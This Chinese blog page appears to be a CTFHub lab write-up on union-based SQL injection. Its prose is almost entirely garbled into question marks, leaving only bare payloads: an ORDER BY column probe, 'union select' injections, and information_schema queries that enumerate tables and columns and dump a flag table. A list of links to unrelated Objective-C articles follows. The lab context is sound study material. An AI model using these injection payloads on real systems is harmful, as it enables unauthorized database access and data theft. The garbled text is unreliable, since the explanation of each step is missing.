博客
关于我
CTFHub技能树web-sql注入
阅读量:294 次
发布时间:2019-03-01

本文共 1499 字,大约阅读时间需要 4 分钟。

???????????????????

??????????

??????????????????????????????????????SQL?????????????select * from news where id=1 order by 1???????????????????????????

????SELECT??????

?????????????????????SQL???select * from news where id=1 and 1=2 union select 1,database()

??????union?????????database()??????????????????????????????

????????????????

????????????????group_concat????columns??????????????????????????select * from news where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

??????????????????????????

??????????????

????????????information_schema????????????????????????????????????select * from information_schema.tables where table_schema='sqli'

???group_concat??????????????????????????

????union?????

union????????????????????????SELECT???????????????????????????????????select * from news where id=1 and 1=2 union select 1,database()

???????????

??????????????????SQL???select * from information_schema.databases

????????????????????????????????

?????????????

?????????????????????select count(*) from information_schema.tables where table_schema='sqli'

??????????????????????

?????????????

???????????????????????select table_name from information_schema.tables where table_schema='sqli'

????????????????????

???????????????

?????????????????select column_name from information_schema.columns where table_name='flag'

?????????????

?????????????????

???????????????????????select * from sqli.flag

????????????????????????????????

转载地址:http://zhlx.baihongyu.com/

你可能感兴趣的文章
Objective-C实现PascalTriangle帕斯卡三角算法 (附完整源码)
查看>>
Objective-C实现password generator复杂密码生成器算法(附完整源码)
查看>>
Objective-C实现patience sort耐心排序算法(附完整源码)
查看>>
Objective-C实现PCA(附完整源码)
查看>>
Objective-C实现perceptron算法(附完整源码)
查看>>
Objective-C实现perfect cube完全立方数算法(附完整源码)
查看>>
Objective-C实现perfect number完全数算法(附完整源码)
查看>>
Objective-C实现perfect square完全平方数算法(附完整源码)
查看>>
Objective-C实现permutate Without Repetitions无重复排列算法(附完整源码)
查看>>
Objective-C实现pigeon sort鸽巢算法(附完整源码)
查看>>
Objective-C实现PNG图片格式转换BMP图片格式(附完整源码)
查看>>
Objective-C实现pollard rho大数分解算法(附完整源码)
查看>>
Objective-C实现Polynomials多项式算法 (附完整源码)
查看>>
Objective-C实现pooling functions池化函数算法(附完整源码)
查看>>
Objective-C实现porta密码算法(附完整源码)
查看>>
Objective-C实现Pow Logarithmic幂函数与对数函数算法 (附完整源码)
查看>>
Objective-C实现power iteration幂迭代算法(附完整源码)
查看>>
Objective-C实现powLinear函数和powFaster函数算法 (附完整源码)
查看>>
Objective-C实现pow函数功能(附完整源码)
查看>>
Objective-C实现prefix conversions string前缀转换字符串算法(附完整源码)
查看>>